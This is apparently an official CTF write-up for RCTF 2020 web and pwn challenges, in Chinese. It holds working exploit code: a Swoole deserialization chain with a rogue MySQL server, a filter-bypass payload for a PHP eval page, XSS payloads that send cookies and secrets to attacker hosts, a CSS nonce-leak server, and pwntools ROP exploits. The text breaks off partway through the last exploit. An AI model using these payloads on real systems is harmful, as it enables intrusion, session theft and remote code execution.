WEB
Swoole
Payload
在Swoole里跑:
<?php
function changeProperty ($object, $property, $value)
{
$a = new ReflectionClass($object);
$b = $a->getProperty($property);
$b->setAccessible(true);
$b->setValue($object, $value);
}
// Part A
$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER'); // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);
$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());
// Part C
$d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));
// This's Swoole\Database\MysqliProxy
changeProperty($d, 'constructor', [$a, 'get']);
$curl = new \Swoole\Curl\Handler('http://www.baidu.com');
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);
$ret = new \Swoole\ObjectProxy(new stdClass);
changeProperty($ret, '__object', [$curl, 'exec']);
$s = serialize($ret);
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);
echo $s;
echo "\n";
解释
我找到的唯一的一个能传参的函数只有这个:https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L89
$connection = new $this->proxy($this->constructor);
我又检查了一遍所有的constructor,只有MySQL还算有点用。那题就这么出好了。
Part 1 – Rouge MySQL Server
我们先回顾一下Rouge MySQL Server的原理。当客户端向服务器发送一个类型为COM_QUERY的包来进行SQL查询时,若服务器返回一个Procotol::LOCAL_INFILE_Request请求,则客户端会读取本地文件并发送到服务器。https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::LOCAL_INFILE_Request
这意味着,如果MySQL客户端连接以后,如果没有进行任何一句包括SELECT @@version之类的查询,客户端是完全不会响应服务器的LOCAL INFILE请求的。有许多客户端,例如MySQL命令行,连接之后就会向服务器查询各类参数。但PHP的MySQL客户端连接之后是什么都不会做的,因此我们需要给MySQL客户端配置MYSQL_ATTR_INIT_COMMAND参数,让它连接之后自动向服务器发送一条SQL语句。
另外,在我使用的这个Swoole版本中,若使用mysqli,则会无视所有连接参数(见我给Swoole提的Bug:https://github.com/swoole/library/issues/34 ),因此这里只能使用PDO的MySQL类。这就是
$c->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);
的原因
Part 2 – SplDoublyLinkedList
读读这段代码: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L57
public function get()
{
if ($this->pool->isEmpty() && $this->num < $this->size) {
$this->make();
}
return $this->pool->pop();
}
public function put($connection): void
{
if ($connection !== null) {
$this->pool->push($connection);
}
}
$this->pool的类型是Swoole\Coroutine\Channel
,但这个类不可被序列化。不过PHP没有运行时类型检查,找一个实现了同样接口的类就可以了。PHP的SPL 中包含着许多这样的类,例如SplStack / SplQueue等等。
Part 3 – curl
回头看Part C这个注释所在的代码,你可以在这里调用$a->get()
,它会返回一个Swoole\Database\PDOPool
。这是一个连接池,只有当我们要连接的时候,这个连接池才会创建连接。因此这里实际需要调用$a->get()->get()
。但我们没有办法进行链式调用。不过,看看这里:PDOProxy::reconnect
(https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Database/PDOProxy.php#L88):
public function reconnect(): void
{
$constructor = $this->constructor;
parent::__construct($constructor());
}
public function parent::__construct ($constructor)
{
$this->__object = $object;
}
public function parent::__invoke(...$arguments)
{
/** @var mixed $object */
$object = $this->__object;
return $object(...$arguments);
}
这说明,__object
会在连接之后被改变。因此我们只需要找到一个办法能连续调用以下这两个函数:
$a->reconnect(); // typeof this->__object = PDOPool
$a->get();
回头看看curl,它正好允许两个不同的callback: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Curl/Handler.php#L736
$cb = $this->headerFunction;
if ($client->statusCode > 0) {
$row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
if ($cb) {
$cb($this, $row);
}
$headerContent .= $row;
}
// ...
if ($client->body and $this->readFunction) {
$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));
}
Part 4 – Inaccessible properties
这个大家应该都见过了。我们考虑以下代码:
php > class A{public $b;protected $c;}
php > $b = new A();
php > var_dump(serialize($b));
php shell code:1:
string(35) "O:1:"A":2:{s:1:"b";N;s:4:"\000*\000c";N;}"
php >
private/protected的属性在序列化时会被\x00
包裹,可见 zend_mangle_property_name. 不过我把\x00
ban了。你可以直接对其进行unmangle。
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);
在PHP < 7.2时,很显然这是不可行的:
php > var_dump($s);
string(32) "O:1:"A":2:{s:1:"b";N;s:1:"c";N;}"
php > var_dump(unserialize($s));
object(A)#2 (3) {
["b"]=>
NULL
["c":protected]=>
NULL
["c"]=>
NULL
}
但在PHP 7.2以及以上版本中,由于这个commit的缘故,all works fine:Fix #49649 – Handle property visibility changes on unserialization 。
非预期
来自Nu1L。
```php
$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));
// process_serialized:
// use `S:` instead of `s:` to bypass \x00
rBlog 2020
https://blog.cal1.cn/post/RCTF%202020%20rBlog%20writeup
Calc
这是基于RoarCTF-2019的modSecurity而改的, 修正了原先modSecurity的漏洞.
<?=(((1.1).(1)){1})?> // .
<?=(((-1).(1)){0})?> // -
<?=(((10000000000000000000).(1)){4});?> // +
<?=(((10000000000000000000).(1)){3});?> // E
可以通过以上几种基础符号,通过&
, |
, ~
构建其他的字符。
题目中断外网,并且需要/readflag
,即需要一个shell. 进行命令执行.
有几种方式
* system(end(getallheaders()));
* system(file_get_contents(“php://input”)); //来自 More Smoked Leet Chicken
* 把脚本内容写到一个文件, 最后执行 // 好多队伍都这样写
这里给出system(end(getallheaders()));的payload;
<?php
$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm
?>
<?php
$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD
?>
<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;
?>
最后需要过/readflag
的验证码, 选手大多使用Perl
, 也可以通过 php -r ""
的方式执行.
php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"
最后结合起来
GET /calc.php?num=(((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(9))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%7C(((-1).(1))%7B0%7D)))(((((10000000000000000000).(1))%7B3%7D).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))))((((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D)%26((~(((1).(8))%7B1%7D)%7C(((1).(7))%7B1%7D)))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(0))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(2))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)))()))%3B HTTP/1.1
Host: 124.156.140.90:8081
z: php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"
EasyBlog
这题就是一个CSP gadget. 算是一个比较小众的利用.
源码
根据上面代码, zepto中对于内嵌的script
标签会自动的使用eval执行, 验证方式为toUpperCase
, 这个函数有个小特性可以使用ı
来替代i
. 最终只要使用<scrıpt>js代码
就可以执行.
所以, 使用下面方式就可以获得管理员cookie, 得到flag
<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>
Zepto.js 已经好久没更新了, 不会有人还在用Zepto吧, 不会把.
chowder_cross
步骤一
Cookie
中有 hint=flag_is_in_flag.php
,查看 flag.php
发现要拿到 flag
,必须由 bot
访问flag.php?f
才可以。
我们可以提交任意XSS payload
,但测试发现,src、dataurl、javascript、alert、prompt、frame、image
等会被过滤,script
标签中的内容由于 CSP
无法执行。但 CSP
中的 nonce
对于每个用户来说是不变的。img-src http://124.156.139.238/
非常可疑。
根据提示,可以总结以下几点:
1.
img-src
的值与URL有关;
2.我们需要拿到管理员的nonce
才可以执行任意代码;
3.bot
用的是Firefox74.0
(重要)
简单测试后发现,我们可以改变路径向 CSP
中注入内容,比如
http://124.156.139.238/+*;SCRIPT-src-elem 'unsafe-inline';/?action=...
==>
image-src http://124.156.139.238/ *;SCRIPT-src-elem 'unsafe-inline';/;
这样可以执行 script
标签中的代码了,但是发现 Feedback
里对请求 URL
做了更严格的过滤 script、report
等关键词都被过滤了,还有什么方法可以 leak nonce
呢?这时,Firefox
相比 Chrome
在安全上做的不够好的地方出现了:在 firefox <=74.0
渲染页面时,Firefox
没有隐藏掉 script
的 nonce
属性,这导致可以用css
选择器配合 background-url
的方式对 nonce
进行猜解。
可以利用工具:https://github.com/Szarny/c5517n
搭一个服务器。但递归引用进行猜解在 Firefox
上不能用,需要 http/2
才可以进行攻击所以采用这种方法 leak
时间会偏长。
或者参考如下文章一次性进行 leak
CSS data exfiltration in Firefox via a single injection point
构造如下脚本:
const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');
const app = express();
app.set('etag', false);
app.use(compression());
const SESSIONS = {};
const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;
function urlencode(s) {
return encodeURIComponent(s).replace(/'/g, '%27');
}
function createSession(length = 150) {
let resolves = [];
let promises = [];
for (let i = 0; i < length; ++i) {
promises[i] = new Promise(resolve => resolves[i] = resolve);
}
resolves[0]('');
return { promises, resolves };
}
const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
let { session, index } = req.params;
index = parseInt(index);
if (index === 0 || !(session in SESSIONS)) {
SESSIONS[session] = createSession()
}
res.set('Content-Type', 'text/css');
res.set('Cache-Control', 'no-cache');
let knownValue = await SESSIONS[session].promises[index];
const ret = CHARSET.map(char => {
return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;
}).join('\n');
res.send(ret);
});
app.get('/leak/:session/:value', (req, res) => {
let { session, value } = req.params;
console.log(`[${session}] Leaked value: ${value}`);
SESSIONS[session].resolves[value.length](value);
res.status(204).send();
});
app.get('/generate', (req, res) => {
const length = req.query.len || 100;
const session = Math.random().toString(36).slice(2);
res.set('Content-type', 'text/plain');
for (let i = 0; i < length; ++i) {
res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
}
res.send();
});
const options = {
key: fs.readFileSync('/etc/ssl/private/private.key'),
cert: fs.readFileSync('/etc/ssl/certs/full_chain.pem')
}
const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))
需要注意的是:在 firefox
leak nonce
的时候必须 ~ script
同级的标签才能够 leak
或是将 script
的 css
设为display: block;
让它能够正常显示才能成功,这里我们自己添加一个 a
标签,所以最终 payload
如下:
并给管理员发送如下/s xss.museljh.live:3000;style-src * 'unsafe-inline';/?action=post&id=9842371276eafb47f7d0ad7bef73ee25
最终在自己服务器上可以接收到如下的 nonce
步骤二
方法一:
我们能在 post
页面任意执行代码了,但是发现 post
中的 js
几乎将所有可以调用的函数都替换成了noop
。我们不能创建元素,最多也就是可以对已有的一些元素进行修改,且不能设置 src
或者是 srcdoc
属性。而目标的flag.php?f
,打开后发现是一个函数的形式,这提示我们需要将其作为代码引入。如何不使用 src
引入脚本,经过搜索发现,svg
中内部的 script
是使用 xlink:href
来指定脚本路径的,我们可以使用 innerHTML
动态注入一个 svg
进去。又由于 iframe
中的过滤相对于外面来说要松很多(只 noop
掉Function.prototype.toString
和 toSource
),所以再在 svg
外面套一层 iframe
。通过iframe.src="data:..."
指定 iframe
的内容,这样指定后 src
属性会消失,不会违反src
的限制。具体实现方式如下:
svg
部分,引入 flag
并运用 svg
内联的 image
对外部图片资源发出请求,来带外数据。
<svg id="ss" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200px" height="200px" viewBox="0 0 200 200">
<image id="daiwai" width="50px" height="50px" xlink:href=""></image> <circle cx="50" cy="50" r="50"></circle>
<script xlink:href="http://124.156.139.238/flag.php?f"></script><script nonce="bc36554eab55edbbbc04c995d733085a">
document.getElementById('daiwai').setAttribute("xlink:href","http://example.com/"+btoa(get_secret.toString()));
console.log(get_secret.toString()) </script> </svg>
使用 script
将编码后的 svg
插入到一个 iframe
中,整体作为内容提交。一些内容被 waf
屏蔽掉了,用简单的字符串拼接绕过。
<div id="place"></div>
<script nonce="bc36554eab55edbbbc04c995d733085a">
place.innerHTML='<ifr'+'ame id="target"></ifr'+'ame>';
setTimeout(()=>{target['s'+'rc']="data:ima"+"ge/svg+xml;base64,PHN2ZyBpZD0ic3MiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDBweCIgaGVpZ2h0PSIyMDBweCIgdmlld0JveD0iMCAwIDIwMCAyMDAiPgo8aW1hZ2UgaWQ9ImRhaXdhaSIgd2lkdGg9IjUwcHgiIGhlaWdodD0iNTBweCIgeGxpbms6aHJlZj0iIj48L2ltYWdlPiA8Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCI+PC9jaXJjbGU+CiA8c2NyaXB0IHhsaW5rOmhyZWY9Imh0dHA6Ly8xMjQuMTU2LjEzOS4yMzgvZmxhZy5waHA/ZiI+PC9zY3JpcHQ+PHNjcmlwdCBub25jZT0iYmMzNjU1NGVhYjU1ZWRiYmJjMDRjOTk1ZDczMzA4NWEiPgpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGFpd2FpJykuc2V0QXR0cmlidXRlKCJ4bGluazpocmVmIiwiaHR0cDovL2V4YW1wbGUuY29tLyIrYnRvYShnZXRfc2VjcmV0LnRvU3RyaW5nKCkpKTsKY29uc29sZS5sb2coZ2V0X3NlY3JldC50b1N0cmluZygpKSA8L3NjcmlwdD4gIDwvc3ZnPg=="},100);
</script>
向 bot
提交 url
,CSP
注入 image-src *
和 frame-src data:
。
/ *;frame-src data: / ?action=post&id=8354a6e9e4ad66938a83b034c04c1585
最后服务器收到结果:
GET /ZnVuY3Rpb24gZ2V0X3NlY3JldCgpeyAnUEQ5d2FIQUtKR1pzWVdjZ1BTQWlVa05VUm5zM1NrdDRWbVJMWVdGTlJEZGFhbnBOVmxoQ1VXeERPSEo5SWpzS0NnPT0nIH0=
方法二 :
覆盖正则函数,达到绕过 srcdoc
限制
RegExp.prototype.test = function(){return false};
最终在 iframe
中引入 script
进行 xssi
最终 payload
如下
<script nonce=bc36554eab55edbbbc04c995d733085a>RegExp.prototype.test = function(){return false};var a ="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x62\x63\x33\x36\x35\x35\x34\x65\x61\x62\x35\x35\x65\x64\x62\x62\x62\x63\x30\x34\x63\x39\x39\x35\x64\x37\x33\x33\x30\x38\x35\x61\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x78\x73\x73\x2e\x6d\x75\x73\x65\x6c\x6a\x68\x2e\x6c\x69\x76\x65\x2f\x3f\x63\x6f\x6f\x6b\x69\x65\x3d\x22\x2b\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");document.body.innerHTML=a;</script>
发送 url
/;frame-src *;/?action=post&id=0aaf916cbd820bafc4c88fab90e0130e
给管理员
PWN
bf
c++写的一个brain fuck的解释器,程序用到的结构体:
struct brain_fck{
char data[0x400]; // data
string code; // brain fuck code
};
程序的漏洞在'>'
操作的一个off_by_one
:
判断条件是v21 > &v25
而不是 >=
,正好可以读取或者修改brain_fck.code
的低字节
而brain_fck.code
是个string
类,string类的大致结构(当然我省略了大部分内容)为:
class string{
char* ptr;
size_t len;
char buf[0x10];
}
当string
的长度小于16的时候是把字符串放在buf
里的,即ptr
指向的是自己的buf
,超出16个字节的时候就会进行malloc了。
再回头看漏洞,我们可以修改brain_fck.code
的低字节,也就是意味着我们能修改code
的ptr
,在修改了ptr
之后,我们就可以向ptr
所指的内存写入数据或者读取数据,但是由于我们只能写一个字节,所以范围被限定在了[ptr&0,(ptr&0)+0xff]
的范围内,不过这已经足够了。
因为一开始code是在栈上的,所以我们只要保证输入的brain fuck代码长度不超过16就能让ptr指向栈内存而不会被分配到堆上,在利用每次执行完代码的输出来泄露libc和栈地址,最后修改返回地址进行rop
为了确保exp的成功率,我们可以先泄露出brain_fck.code
的低字节,在进行后续的攻击,最后返回的时候要修补一下brain_fck.code
,不然析构函数可能会报错
exp:
from pwn import *
import sys
context.arch = 'amd64'
def write_low_bit(low_bit,offset):
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+offset))
p.recvuntil("your code: ")
p.recvuntil("continue?\n")
p.send('y')
p.recvuntil("enter your code:\n")
p.sendline("\x00"*0xf)
p.recvuntil("continue?\n")
p.send('y')
def main(host,port=6002):
global p
if host:
p = remote(host,port)
else:
p = process("./bf")
# gdb.attach(p)
# leak low_bit
p.recvuntil("enter your code:\n")
p.sendline(",[.>,]>.")
p.send("B"*0x3ff+'\x00')
p.recvuntil("running....\n")
p.recvuntil("B"*0x3ff)
low_bit = ord(p.recv(1))
info(hex(low_bit))
if low_bit + 0x70 >= 0x100: # :(
sys.exit(0)
# debug(0x000000000001C47)
p.recvuntil("continue?\n")
p.send('y')
# leak stack
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x20))
p.recvuntil("your code: ")
stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8
info("stack : " + hex(stack))
p.recvuntil("continue?\n")
p.send('y')
# leak libc
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x38))
p.recvuntil("your code: ")
libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97
info("libc : " + hex(libc.address))
p.recvuntil("continue?\n")
p.send('y')
# do rop
# 0x00000000000a17e0: pop rdi; ret;
# 0x00000000001306d9: pop rdx; pop rsi; ret;
p_rdi = 0x00000000000a17e0 + libc.address
p_rdx_rsi = 0x00000000001306d9 + libc.address
ret = 0x00000000000d3d8a + libc.address
p_rax = 0x00000000000439c8 + libc.address
syscall_ret = 0x00000000000d2975 + libc.address
rop_chain = [
0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"]
]
rop_chain_len = len(rop_chain)
for i in range(rop_chain_len-1,0,-1):
write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i))
p.recvuntil("enter your code:\n")
p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6])
p.recvuntil("continue?\n")
p.send('y')
write_low_bit(low_bit,0)
p.recvuntil("enter your code:\n")
p.sendline('')
p.recvuntil("continue?\n")
p.send('n')
payload = "/flag".ljust(0x30,'\x00')
payload += flat([
p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret,
p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret,
p_rax,1,p_rdi,1,syscall_ret
])
p.send(payload.ljust(0x100,'\x00'))
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
# elf = ELF("./bf",checksec=False)
main(args['REMOTE'])
vm
这题没啥新的东西,程序唯一的输出点就是父进程会输出子进程的退出码,所以我们可以先读取flag,在用exit来一位一位的泄露出flag。
vm的结构体:
typedef struct{
uint64_t r0;
uint64_t r1;
uint64_t r2;
uint64_t r3;
uint64_t r4;
uint64_t r5;
uint64_t r6;
uint64_t r7;
uint64_t* rsp;
uint64_t* rbp;
uint8_t* pc;
uint32_t stack_size;
uint32_t stack_cap;
}vm;
vm支持的操作
enum{
OP_ADD = 0, //add
OP_SUB, //sub
OP_MUL, //mul
OP_DIV, //div
OP_MOV, //mov
OP_JSR, //jump register
OP_AND, //bitwise and
OP_XOR, //bitwise xor
OP_OR, //bitwise or
OP_NOT, //bitwise not
OP_PUSH, //push
OP_POP, //pop
OP_JMP, //jump
OP_ALLOC, //alloc new stack
OP_NOP, //nop
};
程序先读取0x1000长度的指令,接着check指令是否合法,并把指令的数量一起传入到run函数,run函数在开始执行
程序的check函数中,并没有对jmp类指令进行check,这就是漏洞所在,在看程序一开始对vm的初始化:
stack
在pc
之后分配,意味着stack
在高地址,所以我们可以先把指令压到栈中,在利用jmp指令,跳到栈中执行我们的指令,这里的指令就没有进行check了,我们可以越界读写
利用步骤大致为:
- 先把我们要执行的指令都压入vm的栈中,然后跳到栈中来执行
- 把vm的栈的所在堆的大小改小,使得free之后不会和top_chunk进行合并,这样我们就可以利用堆上残留的libc地址
- 利用堆上残留的libc地址,在配合add,sub,mov指令来进行任意地址写,修改
__free_hook
为setcontext+53
- 最后触发free来劫持程序,利用ROP进行orw读取flag,并把flag每一位当成状态码调用exit函数
exp:
from pwn import *
context.arch="amd64"
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def push_code(code):
padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8)
